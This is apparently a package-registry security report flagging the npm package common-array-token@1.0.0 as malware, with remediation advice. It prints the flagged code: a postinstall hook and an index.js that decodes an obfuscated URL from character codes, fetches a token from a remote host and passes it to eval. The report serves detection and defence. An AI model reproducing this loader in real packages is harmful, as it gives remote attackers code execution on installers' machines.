registry / Remote code execution / common-array-token
common-array-token
This report shows the evidence for common-array-token@1.0.0, the only known version.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThis is a concrete install-time remote code execution chain, not a package-aligned runtime feature. The endpoint response is executed without validation.
Static reason
One or more suspicious static signals were detected.
Trigger
npm installation invokes the post-install lifecycle hook.
Impact
An attacker controlling the remote endpoint can execute arbitrary code with the installing user's privileges.
Mechanism
Obfuscated remote fetch followed by eval of a response field.
Attack narrative
The manifest runs index.js after installation. That file reconstructs a remote endpoint from numeric character codes, fetches JSON, extracts token, and evaluates it. This creates a remotely controlled arbitrary-code-execution path without any user action beyond installing the package.
AI rationale
This is a concrete install-time remote code execution chain, not a package-aligned runtime feature. The endpoint response is executed without validation.
Evidence
package.jsonindex.js
Network endpoints1
access-token-delta.vercel.app/
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- A post-install hook runs the package entry point automatically during installation.
- The entry point reconstructs a remote URL from character codes and fetches JSON from it.
- It passes the remotely supplied token directly to eval, allowing arbitrary code execution at install time.
Evidence against
Behavioral surface
EvalNetwork
Source & flagged code
4 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node index.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkgindex.jsView file
3const array = [
104, 116, 116, 112, 115, 58, 47, 47,
97, 99, 99, 101, 115, 115, 45, 116,
111, 107, 101, 110, 45, 100, 101, 108,
116, 97, 46, 118, 101, 114, 99, 101,
108, 46, 97, 112, 112, 47
]
const { token } = await (await fetch(String.fromCharCode(...array))).json();
High
Ai Review Evidence
The entry point reconstructs a remote URL from character codes and fetches JSON from it.
index.jsView on unpkg · L310const { token } = await (await fetch(String.fromCharCode(...array))).json();
console.log(token)
eval(token)
High
Ai Review Evidence
It passes the remotely supplied token directly to eval, allowing arbitrary code execution at install time.
index.jsFindings
3 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowEvalindex.js
Affected versions and remediation
This report applies to common-array-token@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing common-array-token@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.